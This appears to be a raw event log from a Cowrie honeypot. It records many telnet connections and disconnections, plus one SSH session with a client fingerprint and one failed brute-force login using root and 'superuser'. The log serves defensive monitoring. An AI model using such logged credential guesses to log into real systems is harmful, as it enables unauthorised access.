{"eventid":"cowrie.session.closed","duration":10.833629608154297,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.936438Z","src_ip":"147.182.143.59","session":"8996bf431956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.132185220718384,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:26.973142Z","src_ip":"147.182.143.59","session":"cfd95eb6b035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c68cf6d52e6","protocol":"telnet","message":"New connection: 69.162.99.242:57574 (159.203.135.109:23) [session: 6c68cf6d52e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:27.186431Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58246,"dst_ip":"159.203.135.109","dst_port":23,"session":"466e6dfe01db","protocol":"telnet","message":"New connection: 69.162.99.242:58246 (159.203.135.109:23) [session: 466e6dfe01db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:27.582376Z"}
{"eventid":"cowrie.session.closed","duration":31.09343123435974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:28.234404Z","src_ip":"69.162.99.242","session":"8a10f5ad3456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":32866,"dst_ip":"159.203.135.109","dst_port":23,"session":"c599e76e6089","protocol":"telnet","message":"New connection: 69.162.99.242:32866 (159.203.135.109:23) [session: c599e76e6089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:29.001339Z"}
{"eventid":"cowrie.session.closed","duration":31.36115050315857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:29.547093Z","src_ip":"69.162.99.242","session":"8c60f78cfaf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45790,"dst_ip":"159.203.135.109","dst_port":23,"session":"e986ba21a508","protocol":"telnet","message":"New connection: 147.182.143.59:45790 (159.203.135.109:23) [session: e986ba21a508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:29.640194Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35750,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0bffce8d53d","protocol":"telnet","message":"New connection: 69.162.99.242:35750 (159.203.135.109:23) [session: c0bffce8d53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:30.487754Z"}
{"eventid":"cowrie.session.closed","duration":31.044244050979614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:31.747184Z","src_ip":"69.162.99.242","session":"5bbc5a01194f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":40602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e85773839db6","protocol":"telnet","message":"New connection: 69.162.99.242:40602 (159.203.135.109:23) [session: e85773839db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:33.121661Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45798,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb82399eb7b1","protocol":"telnet","message":"New connection: 147.182.143.59:45798 (159.203.135.109:23) [session: fb82399eb7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:33.324280Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":42786,"dst_ip":"159.203.135.109","dst_port":23,"session":"74553ade2897","protocol":"telnet","message":"New connection: 69.162.99.242:42786 (159.203.135.109:23) [session: 74553ade2897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:34.205010Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"8750f9c3942f","protocol":"telnet","message":"New connection: 69.162.99.242:43016 (159.203.135.109:23) [session: 8750f9c3942f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:34.317277Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43320,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f96ab89c35","protocol":"telnet","message":"New connection: 69.162.99.242:43320 (159.203.135.109:23) [session: f1f96ab89c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:34.515727Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"11b2b4b3f82a","protocol":"telnet","message":"New connection: 69.162.99.242:43330 (159.203.135.109:23) [session: 11b2b4b3f82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:34.519913Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f20d58279b","protocol":"telnet","message":"New connection: 69.162.99.242:44958 (159.203.135.109:23) [session: 86f20d58279b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:35.396587Z"}
{"eventid":"cowrie.session.closed","duration":31.09036374092102,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:35.870805Z","src_ip":"69.162.99.242","session":"63602561af06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46272,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ee08fdc662","protocol":"telnet","message":"New connection: 69.162.99.242:46272 (159.203.135.109:23) [session: 68ee08fdc662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:36.019698Z"}
{"eventid":"cowrie.session.closed","duration":31.189764261245728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:36.420841Z","src_ip":"69.162.99.242","session":"4171051ccdea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":47362,"dst_ip":"159.203.135.109","dst_port":23,"session":"74e3b9278383","protocol":"telnet","message":"New connection: 69.162.99.242:47362 (159.203.135.109:23) [session: 74e3b9278383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:36.602577Z"}
{"eventid":"cowrie.session.closed","duration":8.170515537261963,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:37.810545Z","src_ip":"147.182.143.59","session":"e986ba21a508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128047466278076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:38.118022Z","src_ip":"69.162.99.242","session":"95cbad446197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.038100481033325,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:38.386239Z","src_ip":"147.182.143.59","session":"85d2d8ae8957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38f839a5d36","protocol":"telnet","message":"New connection: 45.58.127.90:36986 (10.17.0.5:23) [session: b38f839a5d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:39.511321Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"7856eaeb41cd","protocol":"telnet","message":"New connection: 45.58.127.90:36992 (10.17.0.5:23) [session: 7856eaeb41cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:39.655301Z"}
{"eventid":"cowrie.session.closed","duration":30.145564317703247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:40.100995Z","src_ip":"69.162.99.242","session":"13c3d83ce9be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.270488023757935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:43.088973Z","src_ip":"69.162.99.242","session":"67fa0045266e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106573820114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:43.701277Z","src_ip":"69.162.99.242","session":"3cce87ee63a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37184,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20526dc9de8","protocol":"telnet","message":"New connection: 147.182.143.59:37184 (159.203.135.109:23) [session: e20526dc9de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:44.186650Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33922,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac29d3937ec","protocol":"telnet","message":"New connection: 69.162.99.242:33922 (159.203.135.109:23) [session: 1ac29d3937ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:44.461383Z"}
{"eventid":"cowrie.session.closed","duration":11.258882999420166,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:44.582999Z","src_ip":"147.182.143.59","session":"fb82399eb7b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34312,"dst_ip":"159.203.135.109","dst_port":23,"session":"4894afe655e1","protocol":"telnet","message":"New connection: 69.162.99.242:34312 (159.203.135.109:23) [session: 4894afe655e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:44.646772Z"}
{"eventid":"cowrie.session.closed","duration":31.089946508407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:45.244366Z","src_ip":"69.162.99.242","session":"287a8c17c840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66028904914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:45.432009Z","src_ip":"69.162.99.242","session":"7a152ef01208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37002,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4aa309a92d4","protocol":"telnet","message":"New connection: 45.58.127.90:37002 (10.17.0.5:23) [session: d4aa309a92d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:45.450168Z"}
{"eventid":"cowrie.session.closed","duration":31.294525384902954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:45.557447Z","src_ip":"69.162.99.242","session":"f8a36a390c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292351722717285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:47.133673Z","src_ip":"69.162.99.242","session":"9feaf5708c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f1494bdf342","protocol":"telnet","message":"New connection: 69.162.99.242:43186 (159.203.135.109:23) [session: 2f1494bdf342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:49.480342Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45000,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d5b1c379f8","protocol":"telnet","message":"New connection: 69.162.99.242:45000 (159.203.135.109:23) [session: e5d5b1c379f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:50.508532Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45538,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d74e5ee783c","protocol":"telnet","message":"New connection: 69.162.99.242:45538 (159.203.135.109:23) [session: 3d74e5ee783c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:50.749661Z"}
{"eventid":"cowrie.session.closed","duration":31.457161903381348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:53.013013Z","src_ip":"69.162.99.242","session":"3579055830de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101030349731445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:53.644066Z","src_ip":"69.162.99.242","session":"5b3d2e527d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21772837638855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:54.213051Z","src_ip":"69.162.99.242","session":"a5fb67a2dcf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10266351699829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:55.661994Z","src_ip":"69.162.99.242","session":"c72581f25adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.884171962738037,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:57.070700Z","src_ip":"147.182.143.59","session":"e20526dc9de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35812544822693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:57.743566Z","src_ip":"69.162.99.242","session":"2234a815f27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135558605194092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:57.835502Z","src_ip":"69.162.99.242","session":"4a396fc71536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09765601158142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:57.888127Z","src_ip":"69.162.99.242","session":"15ad6e64cc5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094764709472656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:58.281079Z","src_ip":"69.162.99.242","session":"6c68cf6d52e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295144081115723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:58.877379Z","src_ip":"69.162.99.242","session":"466e6dfe01db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40462,"dst_ip":"159.203.135.109","dst_port":23,"session":"33877769c805","protocol":"telnet","message":"New connection: 147.182.143.59:40462 (159.203.135.109:23) [session: 33877769c805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:59.168707Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1a1fa33f28","protocol":"telnet","message":"New connection: 45.58.127.90:34522 (10.17.0.5:23) [session: 9d1a1fa33f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:31:59.832508Z"}
{"eventid":"cowrie.session.closed","duration":31.35307216644287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:00.354289Z","src_ip":"69.162.99.242","session":"c599e76e6089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104047536849976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:01.591699Z","src_ip":"69.162.99.242","session":"c0bffce8d53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43460,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2b4b4f92f64","protocol":"telnet","message":"New connection: 69.162.99.242:43460 (159.203.135.109:23) [session: e2b4b4f92f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:03.854354Z"}
{"eventid":"cowrie.session.closed","duration":31.10589838027954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:04.227460Z","src_ip":"69.162.99.242","session":"e85773839db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45910,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c2d9ab61cf6","protocol":"telnet","message":"New connection: 69.162.99.242:45910 (159.203.135.109:23) [session: 2c2d9ab61cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:05.131209Z"}
{"eventid":"cowrie.session.closed","duration":30.85444450378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:05.171618Z","src_ip":"69.162.99.242","session":"8750f9c3942f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201587677001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:05.406471Z","src_ip":"69.162.99.242","session":"74553ade2897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192790269851685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:05.708436Z","src_ip":"69.162.99.242","session":"f1f96ab89c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26646137237549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:05.786278Z","src_ip":"69.162.99.242","session":"11b2b4b3f82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094122409820557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:06.490573Z","src_ip":"69.162.99.242","session":"86f20d58279b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1137216091156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:07.133252Z","src_ip":"69.162.99.242","session":"68ee08fdc662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71903944015503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:07.321524Z","src_ip":"69.162.99.242","session":"74e3b9278383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":56788,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ee46d93893","protocol":"telnet","message":"New connection: 69.162.99.242:56788 (159.203.135.109:23) [session: b0ee46d93893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:10.524528Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":32978,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed96d411914","protocol":"telnet","message":"New connection: 69.162.99.242:32978 (159.203.135.109:23) [session: eed96d411914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:12.625331Z"}
{"eventid":"cowrie.session.closed","duration":30.575076818466187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:15.036351Z","src_ip":"69.162.99.242","session":"1ac29d3937ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35900,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a096f8429e","protocol":"telnet","message":"New connection: 69.162.99.242:35900 (159.203.135.109:23) [session: 87a096f8429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:15.154784Z"}
{"eventid":"cowrie.session.closed","duration":31.285791158676147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:15.932450Z","src_ip":"69.162.99.242","session":"4894afe655e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.01020121574402,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:16.178794Z","src_ip":"147.182.143.59","session":"33877769c805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":58740,"dst_ip":"10.17.0.5","dst_port":22,"session":"240e912bf788","protocol":"ssh","message":"New connection: 154.198.162.75:58740 (10.17.0.5:22) [session: 240e912bf788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:18.871188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:18.876260Z","src_ip":"154.198.162.75","session":"240e912bf788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:19.087651Z","src_ip":"154.198.162.75","session":"240e912bf788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:19.954557Z","src_ip":"154.198.162.75","session":"240e912bf788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.791948556900024,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:20.303145Z","src_ip":"45.58.127.90","session":"b38f839a5d36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0886971950531,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:20.568912Z","src_ip":"69.162.99.242","session":"2f1494bdf342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50480,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e302f555094","protocol":"telnet","message":"New connection: 69.162.99.242:50480 (159.203.135.109:23) [session: 3e302f555094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:20.950993Z"}
{"eventid":"cowrie.session.closed","duration":30.586660146713257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:32:21.095075Z","src_ip":"69.162.99.242","session":"e5d5b1c379f8","protocol":"telnet"}
